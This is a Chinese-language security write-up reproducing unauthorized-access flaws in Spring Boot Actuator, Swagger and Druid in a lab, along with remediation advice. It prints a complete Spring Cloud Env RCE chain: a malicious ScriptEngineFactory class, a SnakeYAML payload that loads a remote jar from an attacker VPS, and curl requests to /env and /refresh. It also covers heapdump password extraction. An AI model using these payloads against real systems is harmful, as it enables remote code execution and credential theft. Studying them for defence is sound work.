Springboot框架常见未授权访问漏洞

Springboot 框架常见相关漏洞

Springboot Actuator未授权访问漏洞

2.x版本

环境搭建:

git clone https://github.com/callicoder/spring-boot-actuator-demo.git

1
mvn package
1
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar

image-20251224131208584

访问/info接口,泄露springboot项目信息。

image-20251224131301511

访问/env接口,泄露springboot环境变量信息

image-20251224131629112

这里能看到一些用户名和密码

image-20251224133012612

/actuator/heapdump

先来看下 /actuator/heapdump 接口,访问后可以下载到一个 hprof 格式的堆转储文件 heapdump:

image-20251224133205442

利用工具:https://github.com/whwlsfb/JDumpSpider

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

image-20251224134051530

成功提取到密码明文

2.x可利用路径总结

端点 描述 潜在风险 防护建议
/actuator/env 提供应用程序的环境信息,如系统属性、配置属性和环境变量等。 泄露敏感配置信息(如数据库密码、API密钥等)。攻击者可能利用这些信息进行针对性攻击。 仅在开发或测试环境中启用,生产环境禁用或限制访问权限。
/actuator/health 提供应用程序的健康状态信息。 泄露有关应用程序内部组件的状态(如数据库连接、消息队列等)。可能帮助攻击者进行后续攻击。 只返回基础健康信息,避免暴露详细内部信息。使用认证保护或只允许特定IP访问。
/actuator/metrics 提供应用程序的性能和运行时指标信息。 暴露系统性能数据,如内存使用、线程池状态、请求计数等,可能帮助攻击者找到系统瓶颈或漏洞。 仅暴露必要的指标,限制敏感数据的显示。设置访问权限。
/actuator/threaddump 提供应用程序的线程堆栈信息。 攻击者可以利用该信息分析线程死锁或资源消耗问题,可能用于拒绝服务(DoS)攻击。 避免在生产环境启用,或者限制访问权限。
/actuator/heapdump 提供JVM的堆转储文件,用于分析内存使用情况。 堆转储文件可能包含敏感数据,如内存中的用户信息、数据库连接数据等。攻击者可以通过堆转储获得应用程序的内部状态。 仅授权可信用户访问,最好在生产环境中禁用。
/actuator/logfile 提供应用程序的日志文件内容。 日志文件可能包含调试信息、堆栈跟踪、数据库查询等敏感数据,攻击者可利用此信息进行攻击。 禁用日志文件端点或限制访问权限,仅授权用户可以访问。
/actuator/auditevents 提供应用程序的审计事件信息。 审计事件可能包含敏感信息,如用户操作记录、登录记录等,攻击者可能通过访问审计事件获取关键信息进行进一步攻击。 审慎暴露审计事件,确保仅授权用户可以访问。

1.x版本

访问/metrics接口,显示应用的信息。

image-20251224164822178

访问/trace接口,显示访问数据包具体信息。

image-20251224164928010

可以尝试窃取cookie,构造请求实现用户接管

其余接口都和2.x差不多就不过多赘述了。

修复建议

  1. 紧急阻断:最小化暴露端点 + 启用 Basic Auth(分钟级生效);
  2. 访问控制:配置 IP 白名单(小时级生效);
  3. 根本修复:升级 Spring Boot 版本 + 自定义端点路径(天级生效);
  4. 长期防护:加密敏感配置 + 日志审计 + 定期扫描(持续执行)。

Spring Cloud Env RCE

漏洞原理

当目标应用同时启用 Spring Boot Actuator 组件(暴露可动态修改环境变量的 /env 端点和触发配置刷新的 /refresh 端点)与 Spring Cloud 组件(支持通过 spring.cloud.bootstrap.location 环境变量指定远程配置文件URL)时,攻击者可先通过 POST /env 端点将 spring.cloud.bootstrap.location 设为自身控制的恶意 YML 文件URL,再通过 POST /refresh 端点触发目标应用刷新配置,促使目标主动下载恶意 YML 文件;由于 Spring Boot 默认使用 SnakeYAML 解析 YML 文件,而 SnakeYAML 支持通过 !!语法直接反序列化实例化任意 Java 类,恶意 YML 会指定通过 URLClassLoader 加载攻击者预设的恶意 Jar 包并实例化 javax.script.ScriptEngineManager 类;该类实例化时会触发 Java SPI 服务发现机制,自动扫描恶意 Jar 包中 META-INF/services/javax.script.ScriptEngineFactory 文件指定的恶意类并完成实例化,最终通过恶意类构造方法中的预设命令实现远程代码执行。

漏洞核心依赖

该漏洞的触发需同时满足两个关键条件:

  1. 启用 Spring Boot Actuator:暴露 /env(动态修改环境变量)和 /refresh(触发配置刷新)端点;
  2. 集成 Spring Cloud 组件:依赖 spring.cloud.bootstrap.location 环境变量(指定外部 bootstrap 配置文件路径,支持远程 URL)。

漏洞利用链

1
2
3
4
5
攻击者操作 → 目标服务器响应 → 核心机制
1. POST /env 修改变量 → 存储 spring.cloud.bootstrap.location=恶意YML URL → Actuator 端点特性
2. POST /refresh 触发刷新 → 下载恶意YML/Jar包 → Spring Cloud 配置刷新机制
3. 解析恶意YML → 反序列化实例化 ScriptEngineManager → SnakeYAML 语法特性
4. SPI 扫描恶意Jar → 实例化恶意类 → 执行构造方法命令 → Java SPI 服务发现机制
  1. Actuator 端点/env 支持 POST 请求修改环境变量,/refresh 触发配置重载,为漏洞提供入口;
  2. SnakeYAML 反序列化:支持 !!完整类名 [参数] 语法,可通过 YML 实例化任意 Java 类(如 javax.script.ScriptEngineManager);
  3. Java SPI 机制ScriptEngineManager 实例化时会扫描类路径下 META-INF/services/javax.script.ScriptEngineFactory 文件,自动实例化文件中指定的类,触发恶意代码执行。

环境搭建

参考代码和漏洞环境:https://github.com/b1ngz/spring-boot-actuator-cloud-vul

环境类型 配置信息
目标服务器 Spring Boot 1.5.10.RELEASE + Spring Cloud Commons 1.2.3.RELEASE(受影响版本),端口 61234
攻击者机器 Windows 11(本地),VPS(公网 IP:47.96.99.165,端口 63712 搭建 HTTP 服务)
工具依赖 JDK 1.8、Maven 3.6.3、curl(HTTP 请求)、Python 3.8(HTTP 服务)、WinRAR(Jar 打包)
恶意文件 yaml-payload.yml(恶意配置文件)、yaml-payload.jar(恶意代码 Jar 包)

搭建环境并验证成功

image-20251225155316531

漏洞复现

编写恶意 Java 类(AwesomeScriptEngineFactory.java)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
// 构造方法中写入Windows计算器命令(适配目标系统)
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc.exe"); // Windows系统验证命令
} catch (IOException e) {
e.printStackTrace();
}
}

// 实现ScriptEngineFactory接口的所有抽象方法(空实现即可)
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; }
}

编译并打包恶意 Jar 包

  1. 编译 Java 类:javac -d . AwesomeScriptEngineFactory.java,生成 artsploit/AwesomeScriptEngineFactory.class

  2. 创建 SPI 配置文件:在 META-INF/services/ 目录下创建 javax.script.ScriptEngineFactory 文件,内容为 artsploit.AwesomeScriptEngineFactory(无多余字符);

  3. 打包 Jar 包:jar -cvf yaml-payload.jar artsploit/ META-INF/,确保 Jar 包结构如下:

    1
    2
    3
    4
    5
    6
    yaml-payload.jar/
    ├── artsploit/
    │ └── AwesomeScriptEngineFactory.class
    └── META-INF/
    └── services/
    └── javax.script.ScriptEngineFactory

编写恶意 YAML 文件(yaml-payload.yml)

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://47.96.99.165:63712/yaml-payload.jar"]
]]
]

4.3 部署恶意文件到 VPS

  1. 在 VPS 上创建目录,放入 yaml-payload.ymlyaml-payload.jar
  2. 启动 Python HTTP 服务:python3 -m http.server 63712,暴露恶意文件供目标应用下载。

image-20251225161722067

在本地 Windows PowerShell 执行:

修改环境变量

1
curl -XPOST http://localhost:61234/env -d "spring.cloud.bootstrap.location=http://47.96.99.165:63712/yaml-payload.yml"

刷新配置

1
curl -X POST http://localhost:61234/refresh

image-20251225161819323

成功实现RCE

image-20251225153527938

修复建议

  1. 紧急修复:禁用高危端点 + 配置 IP 白名单(分钟级生效);
  2. 短期加固:启用端点认证 + 升级 SnakeYAML 版本
  3. 根本解决:升级 Spring Cloud Commons 至安全版本

Swagger 未授权访问

一、漏洞核心原理

基础机制

  • Swagger(OpenAPI)通过扫描代码注解生成 API 元数据,Swagger UI 提供交互式文档,默认暴露路径无访问控制。
  • 典型暴露路径:/swagger-ui.html、/v2/api-docs(Swagger2)、/v3/api-docs(OpenAPI3)、/swagger-resources。

漏洞本质

  • 未启用认证 / 授权机制,违反最小权限原则,攻击者可:
    • 读取完整 API 文档(URL、参数、响应结构、敏感字段);
    • 直接通过 Swagger UI 调用未鉴权接口,窃取数据或执行操作;
    • 结合其他漏洞(如未授权 API、弱认证)扩大攻击面。

二、实验环境搭建(Spring Boot + Swagger2)

这里直接用docker搭建即可

代码地址:https://github.com/JoyChou93/java-sec-code

image-20251225211027048

三、漏洞复现

这个漏洞最关键的就是两个路径/swagger-ui.html、/v2/api-docs

1、访问 Swagger UI,查看完整 API 列表,定位敏感接口。

image-20251225211219815

通过 Swagger UI 的 “Try it out” 发起请求,获取用户敏感数据。

image-20251225211325886

2、通过访问 api-docs 或者 swagger.json 可以直接获取 Json 格式的全部接口文档:

image-20251225211617038

在目标系统存在大量 API 接口的情况下,逐一进行手工测试的话会消耗大量精力,可以使用一些现成的自动化工具来快速完成此项工作。

项目地址:https://github.com/jayus0821/swagger-hack

1
python .\swagger-hack2.0.py -u https://XXX.XXX.XXX.200:444/swagger/v1/swagger.json

imagepng
会自动构造参数并发送请求包,同时记录返回数据到本地统计表格:
imagepng

四、修复方案

开启防护策略,设置账号密码登录访问限制

druid未授权访问漏洞

一、漏洞核心原理

基础机制

  • Apache Druid 是一款分布式实时分析数据存储系统,其内置的管理控制台(Druid Console)和核心 API 用于集群监控、配置管理、数据查询等操作,默认部署状态下未开启访问认证机制。
  • 典型暴露路径:/druid/index.html(Druid 控制台)、/druid/coordinator/v1/(Coordinator 接口)、/druid/overlord/v1/(Overlord 接口)、/druid/broker/v1/*(Broker 查询接口)、/druid/console.html(旧版控制台)。

漏洞本质

  • 未启用认证 / 授权机制,违反最小权限原则,攻击者可直接访问敏感接口和控制台,造成以下危害:
    • 查看集群完整配置(如数据库连接信息、存储路径、节点列表);
    • 读取监控指标、数据分片信息、用户查询记录等敏感数据;
    • 篡改集群配置(如修改数据源、调整任务规则);
    • 结合 Druid 其他漏洞(如命令注入、反序列化)触发远程代码执行,进一步控制服务器。

二、漏洞复现

这个漏洞最关键的是访问 Druid 控制台核心路径及敏感 API 接口,核心测试路径包括 /druid/index.html、/druid/coordinator/v1/metadata、/druid/broker/v1/query。

1、访问 Druid 控制台,查看集群敏感信息,定位核心操作接口。

访问http://目标IP:8888/druid/index.html,直接进入 Druid 管理控制台,无需认证即可查看:

img

2、访问核心 API 接口,获取结构化敏感数据:

imagepng

3、访问/druid/websession.html,可利用该页面的 session 伪造用户身份访问 /druid/weburi.html 泄露的 API 接口路径

img

三、修复方案

  1. 最高优先级:网络层隔离(禁止公网暴露 8888 端口);
  2. 高优先级:开启 Druid 内置认证 + 升级到安全版本;
  3. 中优先级:配置反向代理 + 日志审计;
  4. 低优先级:禁用不必要扩展 + 限制 API 并发。